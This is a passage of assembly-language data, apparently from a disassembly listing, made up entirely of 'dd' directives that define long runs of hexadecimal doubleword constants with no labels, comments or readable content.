dd 0D86F0A80h, 0ADC35F1h, 4BD08A41h, 85691400h, 0B071E8Eh
dd 0F78B45C9h, 22F1660h, 242ACFDCh, 9031974Ch, 51D358h
dd 35FCA133h, 1268A0h, 5C5E3601h, 5FA64EE0h, 0B23C8707h
dd 730F311Dh, 72DC1040h, 2C9DD56h, 208918A4h, 34C43EC5h
dd 1C701C20h, 41EF4601h, 8A10AB0Fh, 52798090h, 0C3247B40h
dd 531500C7h, 6106CC94h, 0DE1CD8BDh, 0BCD5932Ah, 4561EB8h
dd 0FA698C00h, 1210ED59h, 17ADAB2h, 0CD0B0958h, 0B7788941h
dd 81704AB0h, 40AAD064h, 81EF01h, 0BBC6FAh, 2D4BD255h
dd 455E0256h, 8A69BD60h, 314A2815h, 0DE70FBA5h, 6CA0242Ch
dd 0C241EA01h, 0CC0DD0F0h, 0F737E8h, 1350016Fh, 8EA4F8A7h
dd 0EAD41750h, 2301C89Bh, 4AB671Eh, 0F9883B18h, 0ED1E015Bh
dd 33B7FB75h, 334211Dh, 9D0717Ch, 7891C251h, 0FD805F91h
dd 0FE3EF6CFh, 63AC448Ch, 0BACF0500h, 6D16787Ch, 6D8075Eh
dd 0A0B36B93h, 421C9DB9h, 0DF38F11Fh, 0AC40BDD2h, 0ED50045Eh
dd 0D045642Fh, 96C8051h, 0F0A8752Bh, 3100425Eh, 50E16822h
dd 9261D2FFh, 12A21F88h, 1555C5CCh, 825C945Fh, 0AB20C174h
dd 88B5F4C5h, 0C2C3153h, 5147385Ah, 0AC207185h, 0A10457EAh
dd 82C292E4h, 0C9FC6CC8h, 0D433C510h, 0B83064A2h, 87CA0054h
dd 6375D431h, 6D00157Ah, 52B0E9B7h, 0C0918BD6h, 0ECBC0731h
dd 3073F9Ah, 0F98A1FEh, 0A85905D0h, 80B747Eh, 60B7B49Dh
dd 3D0F2CA6h, 0E8487083h, 2B93B10h, 21AF38FCh, 58B080BEh
dd 0A1335044h, 85F1A1D0h, 17140028h, 5A23F074h, 0F3CF0438h
dd 0AB62263Eh, 0CF087C20h, 73E400B6h, 823097D0h, 0DCFAE633h
dd 6FF3C017h, 8C77103Ah, 20849901h, 0CFCE9A96h, 0A84CE077h
dd 2329D10h, 1DC42A5Eh, 71F4C6F8h, 15230081h, 0A09CBEF0h
dd 4D04803Dh, 0BB165A6Ah, 80C0B884h, 1A2CC46h, 4C171876h
dd 3426FA68h, 4B00F328h, 24202C0Ch, 0C49B7F2Dh, 890A3178h
dd 0E7E03014h, 0C139940h, 33250883h, 3960D990h, 0FC249CC9h
dd 4F9B01E8h, 0A4B73526h, 69B44096h, 54586120h, 42F9778h
dd 0BB008C77h, 0D8C25931h, 0A435A51Fh, 57D0C0B0h, 2E69E456h
dd 465EA494h, 839403AEh, 0F2F46625h, 40C48Bh, 5964569Dh
dd 4FA730BFh, 0F4DC2303h, 0F0C33F65h, 1284D0A1h, 0C07767F2h
dd 300AE56Ch, 963AA280h, 83189CCh, 0C3AF484Bh, 610081DAh
dd 0A3384F17h, 123B7E83h, 40A791E7h, 0ADCD1F4Ch, 2F2C7C0h
dd 6F606894h, 46242775h, 0B02262h, 2375579Dh, 7E86AD87h
dd 0C8A21600h, 74215194h, 5F6401D9h, 0B1130F27h, 78602C45h
dd 5DE890Eh, 32C89867h, 57B43C3Ch, 0E1C1782h, 87098C31h
dd 24D843D8h, 0B6090830h, 0F6DFA100h, 30C5B56Fh, 5D20BE88h
dd 50144932h, 0E1200FEEh, 3518AA9Ah, 0A4571D10h, 4725240Ch
dd 56B0AD91h, 2618AA62h, 0FA68C6E6h, 0B0DEh, 0A28D1F82h
dd 26F9BC14h, 9F23773Bh, 670616DDh, 0B0319E8Bh, 0F92A0064h
dd 34E92964h, 1301CA01h, 0AF94091Dh, 21F47707h, 0CCB32879h
dd 894A1A8h, 634030B0h, 0A9638B15h, 108F5288h, 4812398h
dd 0D3157F6h, 2035988Ch, 0FB006C7Bh, 90BE1101h, 44DE923Fh
dd 0E3003744h, 1E4877AFh, 0C929ACh, 0D2A2A9CEh, 2898D1A3h
dd 0B3DC9200h, 4426F59Eh, 0B678ACh, 42408FDBh, 24C1ADBBh
dd 74F0A74Ch, 14DE8240h, 809336D7h, 80683235h, 20E99728h
dd 0CC818C2Ch, 8B815718h, 3F8CA889h, 109E087h, 0CEC5F74h
dd 80804713h, 1605E641h
dd 38D9C2h, 0CF9676BEh, 0A8EF12DDh, 80A96000h, 0C913090Dh
dd 7089A37h, 0C7528310h, 0EFDB20D6h, 0F5246EF9h, 0ED0030B7h
dd 0BD1C6F46h, 0E9731F5Ch, 0E280BF9Fh, 0EA84648Fh, 820E32A9h
dd 875F9D89h, 97B7AEECh, 73479A80h, 78870EE7h, 0B780EEDDh
dd 42B0E1A2h, 0E0C76C00h, 0B4F06553h, 0EE990041h, 1B7758B6h
dd 820169B3h, 786486E7h, 0B8E253E2h, 0F08DCD38h, 95D2F1DFh
dd 0E8D42018h, 60F678E1h, 4F97B042h, 0E5001C6Eh, 8DF9656Ah
dd 0FACE8446h, 0EE7FCB7h, 0FA984282h, 11900BBEh, 0C38E3C80h
dd 0D1C37B53h, 0C0FD9266h, 55CD7552h, 0B6DD9889h, 0EC0C045Eh
dd 0E10503Bh, 292D300h, 0E2234A6Bh, 0D93400B8h, 38C8F94Fh
dd 31006DDEh, 5CE198BEh, 0C0967B1h, 6A472855h, 0BD0A6E18h
dd 8530852h, 0B7009516h, 0C3EA0AD8h, 0E2800AEEh, 2C21B6h
dd 425B2088h, 0B1534A6Dh, 88B5340Ch, 468B0C71h, 0CDFD3081h
dd 86DA590Ah, 5838CF58h, 2980679h, 40F154D0h, 956D6619h
dd 4098E7E8h, 51645991h, 3D7828D0h, 588CA866h, 0DFDB6C21h
dd 0EFB0C414h, 0E27733C8h, 401DC223h, 0A8D852E3h, 8480F13Ah
dd 5384E4A1h, 0E104C483h, 28803E13h, 0D4C5243Dh, 0C1823A2h
dd 0B61910FBh, 410D2456h, 0D59FE4h, 0BE37BBC9h, 44E44CE3h
dd 0D6286474h, 68090CF0h, 20CAD7B8h, 32BA45FCh, 4FC200A1h
dd 0CE6B090Ch, 22281D8Ch, 893C0C1Ah, 144C2649h, 5828CA9Fh
dd 7CFDDD05h, 643A490Dh, 4C02F522h, 0BCE244B3h, 0BC8C8830h
dd 84F1A608h, 88870ACAh, 82F35F68h, 3A683680h, 0B41C4872h
dd 0F8D953A3h, 5165E202h, 5C6053EFh, 418A378Fh, 67105748h
dd 9861B03Ah, 0BCF5F3C1h, 8ACB8C4Ch, 0D02DE435h, 38D41B31h
dd 98116954h, 2039DBA5h, 91361E18h, 6802BCABh, 0C1B6D289h
dd 0EF80A1A8h, 884C2357h, 0A3B509F9h, 640E886Eh, 11BC6DE8h
dd 0B105A6C0h, 4270EAC1h, 53CCFBE0h, 4E440C46h, 5580AE39h
dd 0C18985Eh, 8C9F5040h, 84E22CB3h, 8C0A5504h, 986688CFh
dd 656428E0h, 0F0B222F4h, 0A25A6815h, 28390494h, 6090A971h
dd 91920C52h, 42859128h, 98B48A80h, 0DA0A0CA3h, 0F6028C7Ch
dd 67CE5F16h, 0DB31D80Ch, 1A3D828Fh, 0A846A666h, 0B9EE5945h
dd 0C8493B80h, 50A10C0Ch, 93858CB6h, 9747549Ch, 54860AA8h
dd 93D88C65h, 2CBDC4A0h, 0A6130984h, 1425B8E4h, 88D83540h
dd 9964E774h, 509E6D61h, 0F1F12011h, 22F0494Bh, 0E51CA58h
dd 0AC106BA8h, 79C5C52Bh, 0D823D1F9h, 58215696h, 934CCECAh
dd 0C82C3F23h, 16C4D7CAh, 18ECD06Fh, 0C7106FA2h, 0DBBE09ABh
dd 483E86Dh, 44E44876h, 0D41C4797h, 4B86CCE2h, 18CF9CD0h
dd 5369E76Ch, 3E70D586h, 0DE4459DCh, 4F50DDECh, 0F889BA9Ch
dd 11883C4Ch, 0E4C44853h, 0C13CE851h, 0BD4EA3DCh, 467C7E1Eh
dd 0FB88BE85h, 9EF0128Ah, 6E48C45Ch, 4D509049h, 0E30E867Dh
dd 6FE146A9h, 1CC03FBAh, 0E67897B3h, 775C00B0h, 0DD48681Bh
dd 0A30055EDh, 58AEF699h, 831C45h, 87A9824Dh, 721D865Fh
dd 0ED6D321Dh, 8C6F978Eh, 0C3EE28AFh, 87E77710h, 0B4EA83E0h
dd 0A8704100h, 0ED823280h, 0DE5C0F73h, 7881BCA9h, 0E958AA1Ch
dd 260BCA8h, 6A5C8DEFh, 88104AA2h, 0D6D704E4h, 73669E09h
dd 74B400E9h, 274F81A2h, 449C8871h, 93539820h, 0C2791C54h
dd 3C3910Ah, 9651002h, 7E752082h, 67633C68h, 4B05159h
dd 0A9F832D8h, 0C2EDF4C3h, 830C014h, 0CB624095h, 0F64D931Fh
dd 2CD4B84Eh, 0E8AA9067h, 77620004h, 0CE5694CCh, 110B2DF3h
dd 0A52A38h, 3FE1A320h, 55D72E41h, 96C90590h, 1ECC9136h
dd 39708F9Ah, 405A0AEFh, 6FB7B403h, 73E97E08h, 0B8655C5Dh
dd 80785E2Eh, 63977EF6h, 7CA4FD4Ah, 0FA086973h, 0F0AE3A29h
dd 0DA4D1A20h, 0C80204B4h, 5CA0F74Eh, 0ABF00C65h, 6F689FE7h
dd 38309463h, 0BAF83025h, 0FEB22381h, 28442E4Ah, 0B106FBE9h
dd 0E1E5014h, 253A6C72h, 765C2564h, 11EA8C28h, 0E349DF85h
dd 0E2800593h, 97A791Dh, 0B0906188h, 2502229Ah, 0EDBFC883h
dd 16042097h, 7FB05BE4h, 0FF99DB0Fh, 89628C23h, 8848A163h
dd 721F4892h, 6445A728h, 980B779h, 0A1C5A859h, 54015D68h
dd 5C5145E3h, 0E7F80A85h, 1B6E075Fh, 70734672h, 0E2864DAAh
dd 78B35DECh, 5002BD16h, 0C34180E7h, 9197E054h, 7CE674F8h
dd 58B7016Ah, 0C44C8237h, 88444C43h, 0F402B07Fh, 3FB91B3Dh
dd 204983Eh, 0ACBC7CFBh, 93088010h, 5FB63EEEh, 30A66544h
dd 78CA8B2Ch, 865620CCh, 497CC8B0h, 0A4A05353h, 2527E449h
dd 1032D7CCh, 230899E9h, 0FB256412h, 0CE2B306Ch, 10949F59h
dd 0C124A5A2h, 9111154Fh, 0B90A9F08h, 278C7053h, 9B5710D0h
dd 0A2157C9Ch, 87C4A028h, 8C8AA990h, 8B025068h, 8863E2CCh
dd 9C2E18D4h, 85D343Ch, 2257E033h, 51445009h, 124B894Ah
dd 48552454h, 224F914Eh, 0A2494448h, 0AC12A389h, 0A64FAD24h
dd 0E3F14F80h, 0FD0A986Dh, 0F4916FE1h, 52B88C46h, 51CA8462h
dd 7E655D04h, 0BC3F084Ah, 80305600h, 0F650352h, 4EB7E296h
dd 81BF2387h, 0F0996A34h, 4101538Bh, 325F1E30h, 3AD11666h
dd 22E10ED1h, 4B403EE3h, 99279600h, 0BC838950h, 6A316500h
dd 5CE468B9h, 0AF7525BEh, 0A1FF4835h, 64D5FF04h, 0C014B88Dh
dd 66EDF87Fh, 9BFB0881h, 361D6563h, 1F563829h, 0D18DEAE1h
dd 1B340395h, 78336DB9h, 38288A09h, 75D55F04h, 5E61E280h
dd 3E8E5D3Ch, 0AD0CBE8Dh, 0CE21B7D0h, 0B8382352h, 0E21300DCh
dd 22164933h, 531885E7h, 0EA18514Bh, 0B80C003Ah, 0A61A64CBh
dd 1CA06223h, 0AF01B904h, 791180CEh, 28488D45h, 0E44EBD58h
dd 6397E80Ch, 30EF41A3h, 0D73053BDh, 0E4004E59h, 14A9F674h
dd 78E746h, 0C882F50Dh, 98628EA1h, 0DCEB451Ch, 0E4386140h
dd 7DF33F1h, 56E65FEFh, 8965115Dh, 0CCD8F0B0h, 1EF66E1Eh
dd 4D8B3900h, 18766C09h, 0F9546188h, 0A8002D94h, 73DD1A8Ah
dd 4A11B0h, 0F9DCFFF6h, 0B9A4EE32h, 90CB3Ch, 0C8BFC1C9h
dd 1D1571CAh, 733711h, 6109B83Dh, 0CD00D4E4h, 1C5B5CD5h
dd 587446h, 0F55F57E6h, 0C65D61E3h, 0DF14C60h, 3B067EEAh
dd 0BD03708Bh, 0F1B1C190h, 0CEDCE590h, 2835B430h, 0C3F20A57h
dd 0AD2B88A8h, 8C00D87Ch, 381B630Bh, 3BA6BAh, 0C26F8670h
dd 832B9EEAh, 0FB2E5805h, 0EC5EC534h, 0C80C17C0h, 0F95688Bh
dd 0F37BC645h, 0C4F27E60h, 0E800518Eh, 9BFB7263h, 3EFF429Dh
dd 2016D3A3h, 0C11DAAA9h, 7746081h, 0E3E0A686h, 42621398h
dd 476EBC06h, 189C3C14h, 0A5300441h, 9EA73EF8h, 609AE308h
dd 409D8C00h, 669B0Bh, 0C5D8FD69h, 93A2FC81h, 0E8535901h
dd 0D90F4661h, 8E0C1880h, 0A4F85866h, 0F059921Dh, 0E8508030h
dd 3F0CE86Eh, 0C74998Fh, 0F7291A9h, 0E3307A78h, 908A319Fh
dd 726180A4h, 0C960529h, 84C5878Ah, 0FD4D6280h, 14A59A9Bh
dd 8891A706h, 409C8A03h, 293D860Ah, 0D82B8387h, 0C089EEDEh
dd 0C0EC4188h, 0C2C9C518h, 58E6FCCCh, 0BDB07A54h, 45BB4B00h
dd 0F849C11Bh, 0D1D80059h, 82D0FA83h, 53003A55h, 684E7038h
dd 3807D8Fh, 0D4B56378h, 0B7E089E1h, 0E41DB109h, 37034401h
dd 1B44088h, 0DBC04971h, 0C0C2E127h, 7000F009h, 408EC907h
dd 0DD95F6FBh, 3015CE28h, 6D62C681h, 7E988D7Ch, 1812A175h
dd 0B14521CEh, 4268B931h, 317D791Bh, 70F71CD8h, 1091818h
dd 0A9426359h, 0C2FD7EA4h
dd 0CF22288Fh, 0E7204015h, 0F0388B60h, 0DBC5D6D1h, 301091B8h
dd 1D18970Eh, 0A4C779EFh, 507E31C3h, 62800C3h, 2038895Bh
dd 2276C6C1h, 565C78C0h, 5078A969h, 8CF5D080h, 183FED43h
dd 43BC0346h, 19E06F33h, 0B9137930h, 80C1217Ch, 0F5DA1569h
dd 0A958E9A1h, 0F18264A4h, 0E7DBFE98h, 0F051DC8Dh, 0B2731B02h
dd 350F31C3h, 0C2182A8Fh, 54DC284Ch, 0DD848058h, 0C000E982h
dd 6F48674Bh, 81396F18h, 0E94CEAD5h, 0F1D3186h, 95541856h
dd 5351FC4Ch, 0FDE81358h, 620E9104h, 28868232h, 0A19CF839h
dd 0D608A8A4h, 93B28842h, 0B8B2744Dh, 0D1421CDFh, 0B242A33Eh
dd 0E51A18FAh, 0D750C88Ch, 55C8AB47h, 0F38ABC90h, 66217C50h
dd 228644DDh, 8289FBBh, 0B051863Ah, 4E8D0308h, 0D1DE7835h
dd 500B23A8h, 1485DB6Eh, 53102895h, 42AAFC50h, 458A8885h
dd 8503E9Bh, 64E07822h, 4050887Eh, 41086C99h, 220E93E7h
dd 34688A60h, 4C48A79Ch, 936D8160h, 61B5E922h, 40840440h
dd 9374CE3h, 6EDF018Eh, 0FB4378CCh, 4C3198CBh, 1948C509h
dd 0B1D6061Bh, 27FA10FCh, 34FE1343h, 0FDA80CF1h, 0AF53FB10h
dd 76584338h, 79926781h, 11DC52CEh, 0EDC63CA0h, 9B44409Eh
dd 28C148Dh, 0C784A05Bh, 6864CC5Fh, 41304899h, 62C9D464h
dd 5841189h, 0C835461h, 45416Bh, 22996D38h, 0E0D731FDh
dd 12034E84h, 4FA7B549h, 24A298D9h, 0A1C53842h, 4679D00h
dd 4764451Ch, 609FF101h, 8286105Bh, 0E8C0F344h, 9D2F42h
dd 9BF85F93h, 2C504E60h, 60E6EF8h, 8043B28Ah, 0FD749C8Ch
dd 0E954B049h, 196F87F0h, 409F910Ch, 0FCF86081h, 40BCA505h
dd 4027A7E2h, 469F9880h, 3E84F0FFh, 992E1D8Ah, 30533C2Ch
dd 0E3469860h, 1CA6608Bh, 0A6FBD08h, 3C50009Ah, 980C4766h
dd 60A641E8h, 0B082B09Ah, 0E0000437h, 0A6E6098h, 0E4D20E8Bh
dd 11378C4Bh, 0A8811864h, 70F14293h, 32027D9Ch, 9A5A7CBh
dd 412CB88Bh, 0C49D5006h, 0D3CB3E0Fh, 0A7323502h, 3898E34Ah
dd 0A9013351h, 993F3580h, 0A7DFF640h, 40E814BAh, 344AC5E1h
dd 0E49A9F8h, 6E63A704h, 5B664A9Fh, 0A46701F8h, 44D1CC08h
dd 0AF042A4Ch, 0B2A12C00h, 0B3450252h, 2A7C03ECh, 320C8300h
dd 8A0F7692h, 347A4C60h, 642A909h, 8B8F00AEh, 0A0862818h
dd 4834A53Ch, 0A70B0098h, 334D9F9Eh, 0F85B3D61h, 0E1840CCh
dd 0DE502832h, 0F519213h, 6C002035h, 46939A35h, 12EC90F2h
dd 30A734A4h, 0E547E474h, 188991D2h, 84FF040Ah, 308055D2h
dd 0B0C4067h, 0FF5EB0E6h, 0D8309024h, 0C4887B4h, 0FDB50158h
dd 0FC5F9C98h, 26AEA7D0h, 7D0A321h, 81D99D0Fh, 899AA90Ah
dd 80908C40h, 4D91E6C0h, 0A58A07F1h, 478DE377h, 8C0E8946h
dd 619A6AE0h, 0A439F97Ah, 1670589Ch, 84015964h, 9730A5AEh
dd 7104A020h, 37A47891h, 34609D8Bh, 58AC869Ch, 86F97239h
dd 8E0DB560h, 92331F40h, 9A300D66h, 0E0A0D1C8h, 9F630A46h
dd 0E7E6E330h, 0F9A1184Fh, 75EF88Bh, 5B6EA701h, 98B47EF0h
dd 0ADFA0490h, 660FF84Ah, 0EE1CFDA5h, 9FE4C1D4h, 36DC217Dh
dd 0E7450060h, 9D076FB8h, 490DE2A5h, 71D2B898h, 247EF318h
dd 1C98A2F0h, 91748C98h, 796E03Eh, 8CA93047h, 66A4F6C0h
dd 7CFB5859h, 98013C78h, 0A906680Eh, 236087AAh, 0D2505F04h
dd 9BE22C05h, 673D85C4h, 60B48268h, 0A526E4CEh, 63C50C75h
dd 958E9880h, 74DCB069h, 0E8D89060h, 2C8DF074h, 49C44292h
dd 6FA51C03h, 0E3770975h, 0A3E46048h, 92502CA4h, 9BFB82C0h
dd 20E18AFEh, 3090CD2Eh, 69C79D10h, 0FC83668Bh, 0FDA4A1A2h
dd 0F9E3D064h, 3C482C4Bh, 0B64C987Ch, 34CC3DC0h, 5B580E30h
dd 66389C33h, 668D3E7Ah, 2980E4B0h, 2E189E27h, 6BB013DCh
dd 447FE38h, 4AA9E1ABh, 5B8633C4h, 5C845E58h, 5069488Dh
dd 857C7872h, 0B56E718h, 1C59C800h, 472D608Ch, 41501F0Ch
dd 0F82F43B2h, 0FF585990h, 20470BD8h, 0F8648099h, 556860A2h
dd 0F86C40FDh, 3501DCAh, 1E3A84E6h, 15B80A0h, 520A75Ch
dd 419C8E08h, 7D6038C1h, 743A443Ch, 47669109h, 9B5A3CE4h
dd 1895D421h, 0A291ECh, 5B9C8C0Ah, 4298A4E2h, 0BF5C8AF0h
dd 64177F8Ch, 9007046Bh, 8FEE204Fh, 505890A3h, 46B0903Eh
dd 8A084321h, 0E46E9325h, 4B80B210h, 53C860FDh, 68C79548h
dd 0F0C1822Bh, 804264A4h, 64349798h, 8AECB03Ch, 34E850BEh
dd 4099055Fh, 590F70Fh, 0FC47642Eh, 16B5F000h, 0AEBC36h
dd 40939802h, 4D9EE606h, 0E221F962h, 0F0FCE07Eh, 4691019Bh
dd 72A5A4E3h, 1990ADF8h, 5AC486E0h, 38A453FCh, 0A71DB43Dh
dd 17B38A8h, 180FF5A1h, 0C914ECBBh, 0E020F0C5h, 1CE6B60Eh
dd 1AEF80D9h, 76E972EAh, 0EF9E815h, 0FBB4EB0Fh, 0E8973880h
dd 0B71D061Ch, 0B5062009h, 0F281EEFh, 730AED18h, 0C4800FEFh
dd 0CB04DDE6h, 20C719FCh, 0A18105FCh, 0CAF01EF7h, 181B07F5h
dd 4020ECB6h, 214E6C6h, 0F2BD08C0h, 3EFE1082h, 0F00C517h
dd 0DD9EA0EDh, 1BFCB1F8h, 0B40FB6F0h, 5FBCEB23h, 0F5B7A306h
dd 0E9E888h, 0B4B8061Ah, 0E8BCECFEh, 0BE40CFh, 0F9C3EBFFh
dd 7D091E16h, 0C5E7C0B5h, 7EEF0EF7h, 0D8B8CF00h, 0D311F2C3h
dd 0DDE801C7h, 1AFABCEAh, 20E6F0F8h, 0DBE9E0F9h, 0DDF328C3h
dd 51874D5h, 0EEFCADFh, 0D4584018h, 0D55233BDh, 832C130h
dd 0C0C2A8CEh, 0B57EDB20h, 0C900F011h, 0A2D2DDE9h, 3EEB19E4h
dd 0A867F7C7h, 20D8C5F2h, 0BCDF0F78h, 0EA2810E8h, 183EC8C6h
dd 1FF33CB1h, 0D318E8A0h, 51D2F8E8h, 0C5F1F0C7h, 42F4454h
dd 0B401D2EBh, 0B20511FAh, 1CFCDC30h, 9C1BEF9Bh, 0D5804052h
dd 0CE3B8CDFh, 0A1D1F80Fh, 74220034h, 0DE463Dh, 25947336h
dd 0DC1D89FBh, 0ECB8E400h, 6B6FAD66h, 4B1003D5h, 4AD022E7h
dd 0DFBD3003h, 0C8EE0559h, 61C81D11h, 0CE34884Fh, 6000DFB8h
dd 6A8C42DDh, 18ADE44h, 3EFC8F28h, 83D07496h, 0B2E95220h
dd 9C1CCAA3h, 55692320h, 0ED489001h, 9880CDEEh, 0E54A7C52h
dd 8A0BB12h, 8C1BD1D5h, 0AAB027CAh, 69412EE8h, 0D01E4F5Ah
dd 3307C179h, 0A8EDC9B6h, 904497F2h, 3CCC6A4h, 6B559449h
dd 9B816D66h, 0C71C4C59h, 0A8D7F980h, 2F54C0h, 0C17B4BF8h
dd 0E502175Ch, 0C6D4CA0Ch, 606D98BDh, 0CE7561BBh, 90001F5Ch
dd 0C8AE9D69h, 6542D4D0h, 1E0628ABh, 0EEBBBCC4h, 1CF067AAh
dd 7E0272h, 4FE103EAh, 8CC1BD1h, 0A72159h, 51327E09h, 37928730h
dd 0DC4C84A0h, 0D6A1CF61h, 0E183393Bh, 0B36F92A5h, 0BC09100h
dd 0B116FC9Eh, 0B07184h, 4CDDBBFAh, 9CA3E3C8h, 57590491h
dd 0D571800Dh, 7E25B638h, 153479A2h, 1CFBE58Ah, 9B0D4188h
dd 0F801C951h, 171854B3h, 6C953814h, 0F6DD002Ch, 0E7340427h
dd 3CD90E86h, 0A78D870Fh, 27FFC021h, 1C61A90Eh, 0C08C62CCh
dd 91A897BFh, 994B8358h, 2BD2A8B0h, 0CC355494h, 6048CF2h
dd 0E3E9FC7Eh, 0AB805867h, 0E71D7E0Dh, 14FF0525h, 0BE390Bh
dd 5A032694h, 88900A84h, 28CA2022h, 74B8B4ECh, 0E91188AAh
dd 0C0A8224h, 3861FA12h, 18194A30h, 4581E31Ch, 0B1116C26h
dd 3F0C9FA2h, 1E4C2138h, 0C02286FBh, 0C6357EF3h, 98C3BB44h
dd 6FBC5963h, 56068849h, 943011BAh, 77B4414Ah, 9B7C0241h
dd 0A15E059Eh, 0DC22AC41h, 74AD165Ah, 304BF6E2h, 0C3F4DCCAh
dd 0A1974F80h, 0C692DAA8h, 4D01E7Dh, 0C8BD76DCh, 0E9484C08h
dd 3C078184h
dd 0FAF00182h, 0EC934848h, 0B5574478h, 0A250CF4Ch, 0D85106A4h
dd 48DD0137h, 0E40B5AB1h, 74416421h, 221E7021h, 820875Bh
dd 61C07B12h, 802EBB5Ch, 0B0A84B94h, 761E5DDBh, 810C115Fh
dd 2BF8BCh, 87F34C3Dh, 0B17CCE82h, 4F97B8C1h, 2CF923Fh
dd 4C2EBD8h, 8441BAC4h, 8FF18EFh, 0BEA017Eh, 904955C4h
dd 0C9737000h, 0B6305765h, 0E4C65050h, 0B0C55083h, 4B94970h
dd 0B8804338h, 212C6139h, 0F90EDCD1h, 60B951B2h, 6B6C6638h
dd 0CE59C05Ch, 5A8C726h, 0E224B400h, 492CC4C3h, 0BAF50CF4h
dd 63296BCFh, 813C4F48h, 0F6E4CAEAh, 0FA50FC34h, 0CC89A42h
dd 0D9B2E575h, 36000E18h, 0EFDACA28h, 0B0F1C24Fh, 9249788Ch
dd 0E6B50F00h, 0E8C18F78h, 0C158662Fh, 81CCD114h, 78EE1A21h
dd 2C208EC8h, 7C54FB1Eh, 13D8A882h, 5ADD6090h, 0D4206828h
dd 0C89EB412h, 85339840h, 68A4B63Bh, 8F810D6h, 682447FFh
dd 636D8108h, 348027FAh, 44868707h, 0A200FCA8h, 0B0321026h
dd 0EE612780h, 84AF9083h, 3D1A007Ch, 0D5ECC429h, 2352C303h
dd 30B3E234h, 8D7CDB91h, 37575418h, 609E8AB0h, 0FA9BC9CCh
dd 6312893Ch, 460E4FFh, 226E58h, 5CBAA6CAh, 0E6474F02h
dd 4A9C40EBh, 9FE996CDh, 260C9B28h, 1207187Eh, 63F0D4C9h
dd 0F6F00448h, 0CC99F3E9h, 600BA5C2h, 0DAD4B8h, 44E87127h
dd 0D617B322h, 0D000A9EEh, 7BA39391h, 0EEBEAE0h, 7A67C149h
dd 8084D18Ah, 1B696225h, 6A00C3AAh, 0EB648278h, 0CEFF540h
dd 0A9FED532h, 3D0AFFA8h, 80F6E06Dh, 8B52E9C0h, 1ADC9238h
dd 18A20DCEh, 19EC0C61h, 23FA7EC0h, 5A1113E9h, 7E07910Eh
dd 398497C0h, 886EE026h, 3AE545C8h, 3CFEA003h, 0E06AAA79h
dd 84C214D8h, 481EE820h, 0A4C0F883h, 2E51801Fh, 0E415020Fh
dd 0B246E164h, 0C6E48210h, 1D64934Eh, 6789B06Ah, 931D7180h
dd 2E4073A0h, 0DD4144BEh, 26030F6Bh, 0E70AE3BFh, 23F5C0F4h
dd 55072ED1h, 65B2106Ch, 0B52F140h, 424B195h, 80998C13h
dd 0C1B8B5D8h, 8A5B233h, 0F52105E5h, 0C0109994h, 2236FDC9h
dd 7F209090h, 0C0E3FC3Eh, 2C1C1929h, 0FD38F7A3h, 37D101EEh
dd 0D96D0433h, 4B27CC4h, 459EC912h, 0F42C9873h, 18EDC8A1h
dd 23FBFCFDh, 56111BE9h, 3C9224h, 28D7B291h, 24B1680Eh
dd 0E35208h, 1C823DF8h, 9E019FEDh, 96354F62h, 0F824D508h
dd 3228302Ch, 189D23C0h, 0BE361A06h, 9320AEB8h, 0CCBA0614h
dd 0C4047964h, 7C8C8E57h, 416A90C1h, 0CEFD6510h, 1531E21Ch
dd 7BD0803Eh, 0F57A7230h, 0E00D07DCh, 3CB2474Eh, 0ED1048A8h
dd 8442B0DAh, 54B84CD4h, 90733F8Ch, 0F34D1C0Eh, 349EDBA1h
dd 0B1C893A7h, 42520000h, 74891487h, 9A3D02F5h, 50F4E0C6h
dd 404184B2h, 0FC011880h, 433472FFh, 0FAB22285h, 8E2600A5h
dd 1EEBE066h, 0BE24DF2Eh, 0C552B404h, 604EC4E4h, 812A8Eh
dd 6602C4ABh, 0F6F799FFh, 54BE3409h, 9BD890BAh, 3C9235h
dd 0E406513Ch, 4750299Ah, 0A856A628h, 5C245706h, 5E027DFh
dd 0F6D4D112h, 0EDBC00B6h, 68DAAB5Eh, 210C3B48h, 369C08D9h
dd 0F9D5EE00h, 12FAD79Bh, 607351C4h, 0D638D2ACh, 1685D69h
dd 0FC890900h, 401B8C20h, 0C61A3613h, 1058CFF0h, 91EE0244h
dd 183F79C0h, 0DD500BCBh, 94A1D0F2h, 7484964Fh, 5F1F3418h
dd 7181B4D4h, 0B6E18121h, 49158436h, 0F43DECDBh, 0D465FA9Fh
dd 0EF8168BAh, 634AFEBDh, 78E801BCh, 14184F8Dh, 1C88C90Ch
dd 777812F0h, 0A961185Dh, 271F4F51h, 0A080BE93h, 0F42C8C49h
dd 2A90A0F7h, 2008B883h, 2816AE9Ah, 8864721Eh, 0ED295480h
dd 0EFDCE489h, 539FCC20h, 0D02264C4h, 90219300h, 0B3041CBCh
dd 3CDF4966h, 9B42E983h, 23889195h, 0F2A472C8h, 79D03354h
dd 0E89834EDh, 15C4C640h, 0E8DA681Eh, 0A09D009Ch, 0CAEBD055h
dd 614EF0Bh, 0A46484DDh, 9378EA60h, 0A8084F2Bh, 1E10CB11h
dd 986239F2h, 0DD895F6Ah, 5D3D0065h, 450BACF9h, 927E79FDh
dd 898DDF14h, 1FC4C08Ch, 99DCC75Ch, 968A45Ch, 981BB4ACh
dd 733B40A4h, 2C872CF7h, 8583578h, 9B00CAC4h, 98E45625h
dd 5876E7EFh, 0CBBA190Bh, 52DFF490h, 683B5B30h, 93ED415h
dd 0BBC54467h, 34983C46h, 8D070C46h, 68CAEF99h, 0E4037C4h
dd 7BFC9996h, 0C007DFCh, 4897D22Fh, 265C61D3h, 83D84DCFh
dd 0D69926B3h, 537CC1FDh, 80F0622Ch, 3FD91D1h, 0B048A6h
dd 945C6312h, 64E8044Ch, 5EDF04C9h, 0A700C4A3h, 0BEB8651h
dd 78581312h, 0E47017E0h, 441AC29h, 14664393h, 8223A048h
dd 0FD27FB00h, 86870F34h, 0A7F4A545h, 47403E26h, 1D0C2802h
dd 0B0A06A70h, 6E32AA54h, 5FB5B00h, 0B721C412h, 0FA9202D1h
dd 0F7BC0C47h, 601F9841h, 3C985E44h, 84B1321h, 0D203BD0Ch
dd 0EF44DF22h, 0E64C22CFh, 284A961h, 66A6620h, 0C060C85Ah
dd 0B293D29h, 80809E70h, 9E6DEA22h, 0D21C6CD6h, 0D1C01C31h
dd 9A090574h, 94F8CF04h, 27FDC2D0h, 66AF8903h, 0F4A445F8h
dd 270026A2h, 30F993F5h, 0CBA38Dh, 9767B57h, 0C1284702h
dd 0C201248h, 39AC7051h, 0BAD00035h, 5C5B5BFh, 1701AEF7h
